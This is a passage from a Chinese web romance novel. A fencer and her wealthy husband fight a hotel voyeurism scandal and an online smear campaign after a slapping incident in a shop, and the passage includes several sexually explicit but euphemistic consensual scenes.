女网红看到这些卑鄙龌龊的评论,气得立刻联系律师和助理收集证据。 同时在闺蜜的建议下她雇人在她住过的同一家酒店,同一间客房里找到了针孔摄像头的证据。她知道这并不会是唯一一个。 于是接下来的日子,她们在这家酒店里换了好几个房间都不约而同的找到了许多摄像头,包括女厕所也没有逃过。 就连这家酒店的儿童乐园的更衣室也被放置了摄像头。 起初这家酒店是靠着亲子互动而出圈的,酒店里有儿童乐园,还给小孩建了专门的更衣室,卫生间,美其名曰培养孩子们的独立性。 女网红没想到连儿童游乐园都没被放过,当即便报警,却一再被对方扯虎皮。最后她忍无可忍把这些素材剪成视频发到网上。 一时间,在网上直接炸开了锅。蒋酌早在女网红报警的第一时间就知道这件事的来龙去脉。他跟祁南骁说了这件事,两人都一致觉得这件事可以着重下文章。 豪天酒店是沈怀川创办的连锁酒店,一时间沈怀川被网友推上风口浪尖。 秦东言出面帮他压热搜,却总有另一股力量把热度炒上去。 视频发出的第二天,女网红就又发了个视频,表示自己收到了来自南市口音的男人的电话威胁,如果不把视频删除,他们将有的是手段收拾她。 此视频一出,再次炸了。网友们纷纷劝她离开南市。然而,女网红却连续三天没有在社交平台发表过声音了。很多人猜测她是不是被人为给控制了? 同时,很多网友发现自己转发豪天酒店偷拍的视频、贴子都被禁了。 明明女网红是受害者,只是向大众揭发酒店偷拍这个恶劣行为,凭什么不让她说话? 凭什么要捂网友的嘴?没做亏心事,干什么遮遮掩掩? 诸如此类的话题,比比皆是。 很快有人匿名发贴,揭露了整个南市酒店、民宿都有偷拍的事情发生,并且很多都是实时直播的。 整个城市都如此,只能证明这条产业链非常成熟,且幕后之人完全不怕踩红线,由此可见其势力有多大。那个女网红如果还在南市,只怕是‘凶多吉少’。  南市ip的网友在此篇贴子下纷纷留言。 【我大概知道文章里提到的产业链是谁干的了。】 【D家?】 【绝对是窦家,海笙信托公司之前放高利贷,违法催收把人逼死的事还少吗?】 【不止这些,我一个高中同学之前在海笙下面的会所工作过。好家伙,那里面一到凌晨就是天上人间,这么说吧,不比拉斯维加斯那边差,那里边就连干保洁的都是风韵犹存的少妇,黄赌一个都不少,简直乱到不能看。】 【南市姓窦你们不知道?】 【海笙集团两年前就官宣跟豪天酒店有合作,他们就是蛇鼠一窝的垃圾。】 【这两家一个负责拍,一个负责开网站,然后收取会员费,赚得盆满钵满。好家伙,我说海笙集团怎么那么有钱,合着这是踩着宪法发的财啊。】 【南市的朋友,快点告诉我这是真的还是假的?你们那边真这么乱吗?当地不抓吗?】 林晚看到这时,这些事已经成了热搜第一,事情愈演愈烈。 虽然沈怀川和窦家都在第一时间出来发律师函,但并没能救次堵住悠悠众口。 与此同时,网友们发现热搜一直被压,有一股势力在全网压词条、封号、删新闻。更夸张的事这些人删新闻删到权威官方的微博号上。 这下彻底捅了马蜂窝,一下子点燃了人民群众的炸药库。关于窦家和沈怀川的底子也被‘热心网友’一点点揭开。 民众吃瓜的同时也不忘了向上举报。 是谁给了窦家和沈家的权利,他们凭什么要捂网友的嘴,究竟是做贼心虚还是目无王法? 林晚看到这已经将事情经过全然了解了一遍,她把手机还给洛梵。 洛梵道:“你们这是要全面还击了?” 林晚点头:“我爸手里有一些人犯罪的证据,现在已经交上去。完整的证据链面前,再大的靠山也得被查。那些人没了靠山,手里的权力也大打折扣。” 洛梵道:“那伯父是不是可以洗清身上的罪名了?” 林晚摸了摸蛋黄的脑袋,开口道:“原则上是这样,具体还要看上面斗法的结果。” 洛梵抓住林晚的手,安慰道:“肯定可以还伯父一个清白的。要不是现在是新社会了,否则我高低得找人做了那些逼伯父跳楼的人。” 林晚声音哑得像刚做完声带手术,她勾起唇角:“你怎么整得跟女土匪似的。” 洛梵不答反问:“你声音怎么哑成这样,你俩不会昨晚玩得太嗨了,把嗓子喊哑了吧?” 林晚:“” “感冒了。” 洛梵一个后仰离她远远的:“你可别传染给我啊,我还想嘴男人的。” 林晚闻言,直接抱住洛梵,作势要亲她。 洛梵吓得叫着往外跑了。 林晚站在原地跺脚吓她,洛梵跑了几步后回头,林晚笑骂一句:“怂。” 洛梵走过来抓起蛋黄一顿搓:“修猫,你妈欺负我,你来赔罪。” “喵~” 洛梵在林晚家待了两个小时将整个柳山别墅逛了个遍,又吵着要去小区附近的商圈逛。 林晚无奈只能陪着她出门,两人轻装上阵。 当下正是春季,林晚穿着白色阔腿裤搭配咖色针织衫,一整个简约温柔风,洛梵则是短裙配长袜俏皮可爱。 两人都是回头率很高的美女,出现在商场时,被搭讪了好几次。 洛梵拒绝完前来搭讪的富二代,拉着林晚往专柜去:“奇怪,他们怎么不找你搭讪?” 林晚举起自己戴婚戒的手,面不改色道:“因为姐姐我结婚了。” 洛梵抓住她的手:“呜呜呜,蓝钻好美。富婆求包养。” 林晚从她的阔腿裤口袋里拿出一张黑卡,挑眉道:“走吧,今天让你买个够。” 洛梵踩着恨天高抱着林晚的手臂就往其中一家女装专柜去。 洛梵也不会跟林晚客气,她们都不是爱占对方便宜的人。 有时候她们这种互相请客也是一种情趣。洛梵挑了几套衣服进了更衣室。 林晚坐在一旁的沙发上喝着红茶,顺便翻看柜姐递过来的服装图册,她平日里穿运动服比较多,家里的衣服也都是祁南骁让私人设计师制做好送过去的。 她很少买衣服,今天难得陪洛梵出来,一时也看入了迷。 在挑选衣服的过程中,一对挽着手臂的男女走进专柜,女人撒娇道:“哥哥,这里的衣服好好看啊。” 男人道:“昨天不是刚买完衣服吗?” 男人的声音一出,林晚便看不下去图册了。 无它,这个声音是窦铭的,林晚光是听了就反胃。真是冤家路窄,窦家如今都水深火热了,这位还有闲心出来泡妞。 不对,他不是被富婆包养了吗?怎么又交了个看起来还是大学生的女朋友? 女人噘嘴娇娇软软道:“昨天是昨天的,今天是今天的。哥哥,你今天难道不爱我了吗?” 窦铭被拽着手臂软磨硬泡,有些烦躁,无意间侧头看到不远处坐在沙发上的林晚,登时眼眸变冷。 “你自己去挑,等下我买单。”窦铭打发着身边的女人。 女人闻言,马上踮起脚尖亲了下窦铭的脸颊:“谢谢哥哥,哥哥最好了。” 眼看着女人的身影消失,窦铭看着林晚,眼眸微眯,他插着兜走了过来,冷着脸道:“林晚,你可真有本事。把祁南骁勾得心甘情愿为你在外面搅风搅雨,你倒是悠闲躲起来当富太太。 ” 林晚对窦家一家子都厌恶,头都没抬就要起身离开。 窦铭堵住她的去路,眼底是不加掩饰的猥琐:“不愧是周惠是生的,跟你妈一样,美丽废物。” 林晚面色淡漠回头,将他从脚到头打量一遍,嗤笑一声:“听说你最近上位成功终于和金主喜结连理了?你也就能吃这几年青春饭了,男人花期短,没事多花点心思打扮打扮自己,都快家破人亡了还花着金主的钱养小三。小心你金主把你踢掉,你连家都没得回,废物。” 她说完要走,窦铭被刺痛了自尊,怒极去抓林晚,结果只抓到她的背包。 林晚转身,正要怒斥他,就听到原本安静的专柜忽然传来女人的一声怒喝:“窦铭!” 林晚抬眸看过去,只见几米外冲过来一个四十来岁的贵妇,正是窦铭之前巴结的金主陈雪茹。女人看见窦铭拉扯着林晚,瞬间怒气翻腾,冲过去对着林晚就是一巴掌。 林晚被打得猝不及防,火辣辣的伤疤就这么留在她脸上。 女人满嘴恶毒,也给了窦铭一巴掌:“你这个王八蛋,居然背着我出来找小三。吃我的喝我的,还用我的钱养女人” 陈雪茹个子不高,穿着旗袍,全身珠光宝气,动起来那翡翠一闪一闪的,柜员生怕这贵妇的翡翠在店里摔碎,一直劝架。 林晚回过神儿,朝着陈雪茹就是一巴掌,陈雪茹惊恐的看着她。她揪住陈雪茹的衣领,又是一巴掌,她的眼眸自始至终淡定如钟,眼里平静得可怕。 一直守在门口的保镖闻声第一时间冲进来把林晚护在身后,阿辉看见林晚脸上的疤痕,更是怒不可遏,沉着脸逼近陈雪茹:“你动我家夫人什么意思?不想活了?” 陈雪茹这会儿已经意识到自己打错人了,对方身份也是‘夫人’,出门还有保镖跟随,身份自是不简单悔不当初,连忙道歉:“抱歉,是我太冲动。,对不起。 ” 阿辉步步逼近,他本就长得1米九身材高大,常年陪祁南骁练拳击肌肉发达,凶起来人来格外吓人。 陈雪茹被吓得瑟瑟发抖躲在窦铭身后,窦铭倒是全程面无表情,只有那双阴鸷的眼睛时不时的盯着林晚,让人感到不适。 阿辉见不惯他这种眼神,想要给他点教训。 林晚及时出声道:“阿辉报警。” 闻言,阿辉收敛气势:“好的,夫人。” 洛梵从试衣间里出来时,场面还是一片混乱。当她看见林晚脸上的红痕时,她瞬间怒了:“谁干的?” 柜员及时送上冰袋,林晚面无表情的接过敷在脸上:“被人当小三给打了。” 洛梵恼羞成怒:“草,谁瞎了眼?那个老太婆?” 陈雪茹闻言破防了,指着洛梵大骂:“你骂谁老太婆?” 她也就四十来岁,常年医美让她看起来才三十多岁的样子,平日里她最受不了别人说她老了。 洛梵起身,怼上去中气十足:“说你呢,老太婆。你身边那个人渣在我们眼里就是个废物,我们看多一眼就嫌恶心,就你眼瞎当成宝。还敢怀疑我姐妹是小三?我告诉你,真正的小三早就在试衣间里跑了。” “死丫头,你再说一遍试试?” “老太婆,丑八怪。” “啊,我跟你拼了。” “” 这场闹剧一直到警察出现才终于平静下来。林晚坚持告陈雪茹寻衅滋事,陈雪茹见林晚来真的,也挣扎起来,满嘴喷粪。 最终警察还是以寻衅滋事把陈雪茹给带走了,一起走的还有窦铭。 林晚看着窦铭沉默离开的身影,有些说不上来的怪异。 洛梵喝了满满一杯冰水,叹气道:“跟那死老太婆说话真是废口水。” 林晚笑她:“你那是口吐芬芳,可不就废口水。” 这场不愉快谁也没有再提起,林晚和洛梵从商场出来便直接回家了。 回到家时,祁南骁已经回来了,看见林晚脸上淡淡的红痕,他走上去,微微蹙眉:“脸怎么了?” 洛梵看似一脸淡定,实则一直在旁边偷瞄。 林晚随口道:“打架打的。” 祁南骁眉头一蹙:“到底怎么回事?” 林晚没觉得这件事是什么大事,那贵妇虽然打了她一巴掌,她也打回去两巴掌,而且她的力气比贵妇的大,那贵妇直接被她扇脸肿了,她也不吃亏。 祁南骁见她不说话,便看向一旁的洛梵:“你们出去遇到什么事了?” 洛梵吃西瓜的手一顿,看了看林晚,见她没什么意见才把今天在专柜里发生的事说了出来。 祁南骁听完,脸上的笑容寸寸收敛,终至全无,洛梵瞧见了默默朝林晚那边坐近。祁南骁实在是太吓人了,真想不通林晚怎么会喜欢这种冷脸男人。 祁南骁捏了捏林晚的手:“你们先聊,我去处理下事情。” 林晚及时拉住他:“你干什么去?” “我去打个电话。” 林晚硬是把他拉回沙发上坐着:“我已经报警了。” 祁南骁沉默,满肚子脏话骂不出口,他连碰都不敢碰的人就这么被人打了一巴掌。 这口气让他怎么咽?祁南骁掌心轻轻抚摸林晚的脸颊:“我不做什么,只让人打回去教训教训她好不好?” 他强势又温柔,洛梵还是第一回见,原本想用喝水掩饰自己如灯泡般的眼睛,后来干脆起身找借口离开,给那两人独自相处。 林晚道:“这个节骨眼还是别节外生枝了。我也打回去了,两清了。” 祁南骁凑近亲她唇瓣,被林晚躲开低声道:“有人。” 祁南骁亲了下她的脸颊:“可你还是被她打了,我气不过。” 林晚道:“报复来报复去,只会没完没了。听话,不要再去纠结这件事了。” 祁南骁沉默半晌,林晚拉着他的袖子,语气略显撒娇:“你听到没有?” 祁南骁还是屈服了:“我知道了。” 林晚这才放过他,祁南骁虽然平日里总是没个正经,但是有一点答应她的事就一定会做到,除了床事之外。在床上,他就是个彻头彻尾的无赖。 他起身离开后,洛梵才慢悠悠从猫房出来,手里还抱着蛋黄。 林晚抬眼看洛梵:“我都不介意你这个电灯泡,你尴尬什么?” 洛梵道:“我还是个宝宝呢,你们这些男男女女的事,我才不要看。” 林晚:“” “你是宝宝,那被新闻拍到慕谨文在酒店共度三天三夜的人是鬼吗?” 洛梵撇嘴:“你自己的事不上心,倒是八卦我的事。” 两人背靠背坐着撸猫,林晚道:“你现在跟慕谨文怎么样了?” 洛梵不以为意:“炮/友呗,还能咋滴。我离不开他的身体,他也离不开我,我俩中间还有世俗阻挠,那就单纯点只图对方身体就好。” 林晚道:“他也这么想?” “谁知道他怎么想,我自己爽就行。” 林晚:“”慕谨文是如今娱乐圈里炙手可热的男演员,他不是单纯的颜值类男演员。他是演技派,不管是男主还是男四,只要他觉得合适的角色,他都会尝试。哪怕那只是个流浪汉的角色,他也能把这个角色演活。 其中有一段大半夜,他独自一人睡在天桥地下抽烟的镜头甚至被成为影视大学的教科书。 林晚虽然没有亲眼见过他,但也从网上刷到过他的一些视频。比如慕谨文拍某部电影时,被反派拖到泳池里的打斗戏,那饱满的胸肌,宽厚的肩膀,即便他穿着白T,也依然能看清他的好身材 晚饭,洛梵是在林晚家吃的。她像个大爷似的窝在沙发上撸猫刷手机。林晚和祁南骁亲自下厨给她忙上忙下的。 林晚和祁南骁聊起网上舆论的事,问他那个女网红背后是不是有他们的支持? 祁南骁点头:“她一开始去报警时,被人给压下去了。蒋酌家是南市的,有人在他面前提了一嘴。他便去调查一翻最后,我们打算把这件事炒热。” 林晚微微蹙眉:“那现在那个网红去哪了?” 祁南骁道:“被蒋酌安排的人保护起来了,但是在网上还需要演一段时间,把热度炒上去。” 语毕,怕林晚误会,他又解释道:“这些事都是经过那个女网红的同意才展开计划的。” 林晚笑意变柔变软:“我有那么不讲道理吗,看把你给吓的,不知道的还以为我是什么母老虎。” “就算是母老虎也是我这只公老虎的。”祁南骁笑着道。 林晚抱臂好整以暇的看着他:“所以在你心里,我就是母老虎咯?” 祁南骁擦干净手,转身虚虚抱了她一下:“才不是。”又对着她的嘴角亲了下。 林晚推开他:“你这张嘴整天就知道甜言蜜语。” 祁南骁搂着她的腰往他怀里一撞,低头在她耳边低语:“你之前夸我舌头有技术时可不是这样嫌弃我的嘴巴的。” 又在她面前开黄/腔,林晚下意识拧他的侧腰,却被他提前预判,给抓住手腕了,祁南骁咬了咬她的耳垂:“晚上吃多点菠萝,我让你欲/仙/欲/死。” 洛梵进来拿水喝,走到岛台前看到里面两人搂搂抱抱的,当即闭上眼:“哎呀,哎呀呀真是不好意思,打断你们了,你们继续。” 林晚羞恼的推开祁南骁,转身离开了。 “给你水。”林晚从厨房出来,绕到沙发后面递给洛梵矿泉水。 洛梵懒洋洋的靠在沙发上,仰着头看向头顶的林晚,她眼里像碎钻般亮堂澄澈。 林晚戳了戳她的脸颊,笑着问:“你干嘛这样看着我?” 洛梵忽然一本正经的道:“看见你跟祁南骁这么幸福,我高兴。” 从认识林晚后,她就知道林晚的家世背景,用她妈的话来说就是苦命的孩子。 如今看到林晚能找到一个和她灵魂有共鸣的人,她由衷的开心,替林晚感到开心,她能看出林晚变了,她不再是以前那个自卑自己不配拥有爱的女孩了。 甚至不是几年前冷漠没安全感的她了。现在的林晚多了些孩子气,会俏皮会可爱,会撒娇多了几分烂漫。 “” 饭后,祁南骁自觉收拾好残局回到书房处理工作。把空间留给林晚跟洛梵。难得的休息日,两人聚在一起聊天、吃美食、看电影调整自己的情绪。 证据上交后,上面一直没什么反应。林晚虽然面色如常,但祁南骁了解林晚,她的内心一定也充满动荡,。 这个时候的她需要三五知己闲聊,爱人的陪伴,就是最好的鼓励。 送走洛梵,祁南骁再回来时,林晚正在洗澡,浴室里时不时传来有节奏的音乐。 祁南骁拧开浴室的门走了进去,林晚一边泡澡一边玩手机。 他看向屏幕。 视频里,只见一个只穿了件皮裤的男人在视频里卖力跳舞,扭腰、顶跨,暗紫色的氛围光线照在他的脸上,在祁南骁看来就是一整个鬼迷日眼。更过分的是,他一边挑一边扶着裆,摆跨。 评论区一整个沸腾。 林晚挨个查看评论区,等她发现不对劲时,祁南骁已经脱衣服走进浴缸了:“好看吗?” 林晚惊诧的抬头:“你什么时候进来的?” “你在看别的男人时。” 祁南骁走到她身边坐下,全身赤条,即便是见过很多次了,林晚还是不好意思光明正大看他。 她别开视线,收起手机,要起身。被祁南骁掐住腰。 林晚顿时紧张:“我洗完了。” 祁南骁从她身后拥上来,指尖在她腰上跃跃欲试,引诱着:“怎么不看了?” 林晚伸手打他一下:“你怎么偷看我玩手机!” 挠痒痒一样的力度扫着她的心间,林晚只觉得水温都变高了。 祁南骁微微用力,就把她整个人抱在自己腿上坐着,两人面对面。 枪口堵在门口。 林晚的皮肤原本就被雾气蒸得水润又细嫩,白里透粉,当下因为祁南骁的逼近,她的脸色逐渐红温,眸里情不自禁染上水意。 祁南骁指腹轻轻扫过她的锁骨下方那枚格外明艳的红痣,再往下是绵软的水润如蛋羹般,颤颤巍巍。 男人微微仰起头,喉间硕大的喉结更加清晰,棱角分明,一个吞咽动作,上下的滚动间仿佛带着一股狠劲,一如他抱着她发狠冲撞的时候。 捏住林晚的下巴,祁南骁低头吻了上去。滚烫的掌心如同在水中攀附的银蛇顺着她的手臂摸了下去,落在绵软上。 他的掌心粗粝,发力时候硌着她的皮肤,情绪的存在感让林晚忍不住颤栗。 林晚的注意力被男人唇舌拉扯着,如同水波般涣散开来,不知不觉间被祁南骁抱坐着,她抬手搂住他的脖颈。 祁南骁明明坐在她身下,却丝毫不显弱,掌心动作不断。 如同揉搓着鲜艳的车厘子。 炽烈的目光仿佛一向肆意作乱的舌,在她的皮肤上烙印,留下潮/热的痕迹。 林晚仰着头,眼里雾气蒙蒙:“南骁,不要” 祁南骁手上尽是折磨,却偏偏明知故问:“不要什么?” 林晚咬唇,不说话。 祁南骁低头碾着她的唇瓣,低声蛊惑:“说出来。” 林晚羞怯,却无法抵抗这种诱惑,一双湿漉漉的眼睛看着他:“你轻点” 祁南骁低头勾起唇角,咬着她的耳垂,“今晚吃菠萝了吗?” 林晚不想回答的,但身上的那只粗粝的掌心根本不允许她回避。她闭着眼哼唧:“吃了。” 祁南骁抱着她直接站了起来,贴着墙:“我尝尝。” 连绵细密吻落在她身上,林晚好看的眉往中间收拢,她有点恐高,不自觉的想要抓住祁南骁的头发,却在不知不觉间把他当成椅仗。 殊不知所有的风暴都是他带来的。 祁南骁抬起头,把林晚放下抱在身上:“在抓就要被你抓秃了。” 林晚根本没有力气回怼他,就又被祁南骁单手翻过身,三月底的夜里还是有点凉意,好在浴室有暖气,她贴着墙时根本不会被墙壁冰到。  只是后背拥住她的人如凶猛海兽般准确地嵌进深处的狭小缝隙里寻求温暖。 林晚额角甚至涌上些许湿热的汗意,白皙的手臂被压在灰色的大理石墙壁上,光滑一片,没了支撑点的林晚,只能紧紧扣住祁南骁的手掌。 小麦色的掌心插缝包裹住玉白的手掌,十指相扣压在朦朦胧胧的灰色大理石上,留下数道水痕 等林晚筋疲力尽被祁南骁抱出来浴室时,已经是一个多小时后了。 林晚累极了躺在床上,祁南骁掀起被子正要躺上去,床头柜上的手机就响起,他拿起看到屏幕上显示着‘莫白’两字。 祁南骁眉心微蹙,划开接通键:“南哥,出事了。下午陈雪茹和林晚打起来的视频被人传到了网上,现在舆论一边倒。” 林晚睁开眼看到祁南骁脸色不太好,她坐起身。 祁南骁拿着平板一边打开微博,一边跟莫白说话。 林晚看到热搜第一就是【击剑运动员林晚当街打人】 第67章  鞭子 林晚点开热搜 , 第一条微博就是某狗仔拍摄的高糊视频,掐头去尾,只拍到阿辉气势逼人威胁陈雪茹, 然后是林晚抓住陈雪茹领口直接扇她两巴掌的画面。 这条视频底下评论清一色的讨伐林晚仗势欺人。有人故意晒出林晚出入柳山别墅的照片、视频。她出行都是豪车接送,还住在富人区, 有钱有势。 还有人将林晚的家庭背景挖出来,说林国冬贪污国企公款。一下子,所有人都把林晚身上的豪富都联想到是林国冬贪污所得而来。 对她更是口诛笔伐, 说这种人在国家队就是毒瘤, 必须把她开除。 也有人吸取上一次网暴林晚的经验, 表示让子弹再飞一会儿。 林晚看到林国冬的照片被人挂网上p成黑白照的那一刻, 脸都白了。 祁南骁搂着她,跟莫白说话:“找那家专柜拿监控。” 莫白道:“那家专柜的人说监控坏了。” 祁南骁声音渐冷:“坏了?他们怎么不说没电了。你跟他们负责人说交不出监控那就让他们整个品牌都烂掉。” 莫白道:“这事我之前就跟他们交涉过。品牌负责人给我们的回复很硬气。我怀疑整件事背后有推手, 且实力也不小。足以于我们抗衡,才能让那家女装品牌的负责人宁愿得罪我们也不交监控。” 祁南骁握着平板的青筋爆起,理智上告诉他,这是那群小人的反击, 他不能掉入圈套,要冷静处理。可感性上看到林晚和林国冬夫妻俩的照片被一些网络喷子P成黑白照还是忍不住想弄死他们。 林晚从身旁握住他的手掌, 无声安抚着。 祁南骁跟莫白交代几句话便挂了电话,伸手揽住林晚的肩膀:“你放心,我不会让你白受这个气的。” 林晚笑了笑道:“这也恰恰证明我爸的那份证据让他们害怕了, 强弩之末了只能找如此劣质的手段报复我。这是好事,我爸收集的证据没有白费。” 祁南骁喉咙一紧, 心疼她的‘乐观’,“我宁愿你平平安安的。”  林晚云淡风轻道:“没事,又不是第一次遇到这种事了。既然是公众人物, 难免会有不同的声音。我身正不怕影子歪,找到监控直接公布就能还我清白了。” 祁南骁收紧手臂,低声道:“我一定给你和爸敞敞亮亮的要个说法。” 林晚抬眸,眼底浮着浅浅水意,在暖光灯的映射下,剔透明亮,她温声开口:“不要犯错误。” 祁南骁目不转睛,眼神模糊了无辜和乖巧,像是很听话。 林晚撇了下嘴,她还能看不出他这是在装? “这是小事,把那帮人送进监狱才是大事。” 祁南骁仍旧一言不发,他心里暗道发生在她身上的就没有小事。林晚主动抱住他,拍了拍他的后背:“你不要为了这些事而犯错误被人捉到小辫子。” 城市另一边,月明如锆石,当空高悬。 这几日气温陡升,花园里都能看到冒出来的花苞。某别墅里,依然灯火通明。 陈雪茹穿着丝绸吊带睡意靠在沙发上抽着烟,烟熏如密织的布,薄如纱,味道却格外呛人,桌子上的银色烟盒像锋利的刀面,冷冽安静。 抽到第三根时,陈雪茹不耐烦的打断电话里职业经理人说话:“行了,这话你都说过多少遍了。我现在就要你找公关,尽快把网上的事炒热,我要那个林晚身败名裂。” 职业经理人道:“对方背后是祁家,公司有很多业务还是跟蓝盛资本有挂钩的,我们这么做会不会有点不给祁家面子?” 陈雪茹眉心微蹙,这个职业经理哪都好就是总是反对她的意思。要不是这人是他丈夫生前唯一的心腹,看他把集团打理好,她早就让他滚蛋了。 职业经理人见她没说话,以为她听进去了,一翻语重心长的给她分析得罪林晚后可能会面临的风险。怕她不理解,还往严重里说了去。 陈雪茹越听脸越黑,习惯被人追捧惯了的富太,哪里听得进一个打工人教她做人。 “凌岳,你越界了!” 凌岳在电话那头闻言,只感到前所未有的心累,好兄弟去世后,偌大的集团交给他,他尽心尽力的管理着。原本陈雪茹只需要在背后收钱就行,可她偏偏不信任他,往公司高层塞了不少乱七八糟的人,把整个高层搞得乌烟瘴气的。 很多陪着老周创业的旧人都被这些人排挤离开集团。这些就算了,前段时间他还发现公司财务也被那些人渗透了,账面上出现了一大笔资金漏洞,他很严肃的跟陈雪茹说了这件事,可她却只顾着跟她那个小白脸结婚。 原本他觉得陈雪茹是老周的遗孀,老周当年对他有再造之恩,只要陈雪茹老老实实给老周守寡,他就给她打一辈子的工。可如今,陈雪茹另嫁他人,还纵容那个小白脸插手老周的产业。 凌岳内心已经开始动摇了,以他如今的实力,有的是上市公司挖他去当CEO,甚至有许多跨国集团也托猎头公司来跟他接触。如今又碰上陈雪茹非要整林晚,凌岳更是忍不了。祁家在圈内的地位,除了政/圈,谁敢碰他? 周氏集团硬碰祁家无异于以卵击石。如果他再纵容陈雪茹,将来还会影响到他的事业。想到这,凌岳开口提醒道:“陈夫人,以周氏集团的影响力跟祁家作对,无异于蚍蜉撼树。” 陈雪茹夹着烟视线定在某一处,然后勾起红唇,眼尾带勾的看向来人,她一边夹着烟,一边听着手机里凌岳的话,越听脸色越沉,理智上她知道凌岳是对的。 窦铭瞧见陈雪茹迟疑的脸色,当即站到她面前,解开自己的浴巾,赤条条诱惑她。陈雪茹吐出一口烟,指尖戳了戳他的腰间。 窦铭俯身撑在沙发上把她圈在怀里,两人就这样,一个靠在沙发上,一个单膝压在沙发上,四目相对,然后某个瞬间,两人几乎是同时动作。窦铭俯下身,她抬起双臂,两人拥吻,一起倒在沙发上,发出缠绵不断的暧昧声。 电话那头的凌岳闻言,脸色有那么几秒的尴尬,最后只能无奈挂上电话,随即终于下定决心打开电脑向董事会递辞呈 凌岳走后,周氏被窦铭安排的人接手。换了领导人的周氏就像一辆刹车失灵的轿车,在自毁灭亡前逐渐疯狂。 网上关于林晚的舆论,第二天晚上就被祁南骁安排的人澄清了。当时林晚还在训练馆里训练。击剑组对于网上的事都很相信她。刘主任在向她问清楚来龙去脉后,更是让击剑队官方号帮她发文澄清。 林晚很感动她身后还有这么多队友支持她。 于书雨换好衣服出来时看见林晚才刚结束训练正在补充能量,当即跑过去道:“林晚,你的事出现转折了。有人公开了那家专柜店的监控视频。” 林晚擦掉脸上的汗,接过手机视线落在视频上。 视频里,清楚的拍到窦铭突然纠缠林晚,林晚明显的不想搭理他。紧接着陈雪茹冲上来给了林晚一巴掌。随后,林晚的保镖上前警告,林晚也还了陈雪茹两巴掌,合情合理。 这条视频里还包含了媒体对专柜某店员的采访。该店员表示,林晚当天只是陪好朋友到店里买衣服,视频里的男人见色起意骚扰林晚,林晚并没有搭理,却被该男子的妻子误会是小三。该男子的妻子不分青红皂白直接打了林晚一巴掌。林晚给予反击。 至此,真相大白。渣男四处发情,林晚只是受到无妄之灾,好端端的被人打了一巴掌,换谁来都得打回去。还有女孩换位思考后表示,换自己来指定抓住陈雪茹的头发,把她压地上扇巴掌。自己爸妈都没打过自己,别人有什么资格甩自己巴掌? 众人愤愤不平的同时,也转风心疼林晚,说她才是最无辜的受害者,女人长得漂亮就是原罪吗?新闻一直宣传两女人打来打去,渣男就美美隐身。 祁南骁安排的水军在此时恰好登场,挖出窦铭是陈雪茹包养的小白脸。窦铭的过往黑历史全被人挖了出来。网友们从一开始的攻击两个女人转而开始攻击窦铭。 林晚的形象是升华了,但同时被挖的还有她的家庭背景,林国冬的事成了不可磨灭的黑点。即便有人说林国冬的事上头还没判,现在说这些都只是捕风捉影。 但还是有不少人质疑林晚哪里来的那么多身家财富。她明明只是一个运动员,一个月工资就那么点,干几百年也买不起柳山别墅的房子,还有她出行都是顶级豪车,有价值七位数,还有价值八位数的。她这么有钱,她爸没贪,大家可不信。 祁南骁也安排集团注册一个官方账号,金钱的运作下,平台立即给予审核认证。 【蓝盛资本:给大家介绍下,这位是我们老板娘!祝老板、老板娘白头偕老幸福久久。】 祁昭懿的个人账户也点赞了这条微博,并且在下面评论:现在才公开我嫂子,回家等着跪搓衣板吧。 祁昭懿在整个互联网上就是顶流般的存在,她个人的学识、成就本就圈了不少粉丝。她还用科技为女性提供不少便利,本身国民好感度就很高。她的点赞一瞬间就引来了不少流量。很快这条微博就被顶上热搜。 【林晚蓝盛资本老板娘】【林晚祁昭懿姑嫂】 这下网友总算知道林晚为什么这么有钱了,感情她是蓝盛资本的老板娘啊! 这时有人疑惑,她爸不是贪污国企公款吗?蓝盛资本那样正派的民族企业怎么会娶一个这样有污点的女人回家做当家主母? 有人表示相信祁昭懿,她眼里容不下沙子,如果林晚背景真的有黑点祁昭懿肯定不会搭理林晚的。 最后大部分人总结,让子弹飞一会儿。 林晚刷完全部微博,只感慨祁南骁动作真快。这件事最关键的就是公开监控视频,之前女装店一直不愿意配合,也不知道祁南骁用了什么手段,让对方妥协。 这个问题,在她走出训练馆,上了祁南骁的车后便问了出来。 祁南骁说:“莫白找人上门跟他们讲了一通道理后,就给了。” 林晚:“” “你不会威逼利诱了吧?” 祁南骁眨了眨眼,模糊了无辜和装傻,林晚光是看他神情就知道他干了什么事。 她一时不知该说什么,想了半晌才道:“不许有下次了。” 祁南骁长松一口气,靠在林晚的肩膀上:“我还以为你要打我了。” 林晚不苟言笑:“后悔娶我这个母老虎了?” 祁南骁抬眸,目光赤裸裸,沉声说:“后悔怎么没早点遇见你。” 林晚嘴角微勾,最受不了他说实话的样子,真诚得毫不掩饰。 “你有受虐因子?”林晚忍不住吐槽。 祁南骁轻笑着道:“是啊。要不你买条鞭子回去,晚上穿着塑身衣高跟鞋拿着鞭子好好教训我?” 林晚伸手敲了敲他的脑袋:“想得美!” 祁南骁看着她明艳的脸,忍不住低头吻住她。 当天晚上,当林晚看到衣帽间的其中一个柜子打开里面满满当当的各种玩具时,她头发都要竖起来了。祁南骁到底什么时候背着她买了这么多‘玩具’的?没有一个是能见得了光的。 祁南骁见状,各种诱哄林晚穿上那件黑色裹胸连体裤,搭配黑色高跟鞋,手上还被迫拿着一条带蕾丝的鞭子。 林晚从衣帽间里出来时,祁南骁正坐在沙发上抽烟,烟雾缭绕背后他的浴巾散散系在胯骨,壁垒分明的腹肌被水渍浸湿,又欲/又野。 林晚被这场景晃了晃神色,忽然间玩心四起,她慢条斯理的走了过去,高跟鞋踩在地板上咯噔响,伴随着鞭子落地的声音,祁南骁神色肉眼可见的兴奋起来。 林晚顿时有被涩到! 她趾高气昂的走到沙发面前,高跟鞋踩在他大腿/中间,鞭子勾起他的下巴,笑眯眯道:“祁南骁,从现在开始取悦我。” 窗外的微风卷起洁白的窗纱,却吹不散室内的一片旖旎。 今晚的祁南骁格外的狂野,压根不理林晚如何叫停,巴掌轻拍在她的大腿上,他嗤笑一声:“脚抬高。” 林晚累极了只想装死,祁南骁嗤笑,故意闹大动静,眼底是少有的兴奋。 林晚迷迷糊糊睡过去之前,心里暗暗发誓再也不跟祁南骁玩这么野了! 第68章  黏人老公 转眼就要进入四月了。 三月份的连绵春雨将路边的野花打得七零八落, 就像打翻的蜂蜜,淌在湿漉漉的地面上。 湿气顺着窗户的缝隙钻进室内,林晚正在衣帽间收拾衣服, 明天她就要搬到训练馆的宿舍里住。 离六月份的奥运会仅剩下不到两个月了。从三月份开始,击剑队就开始了集训, 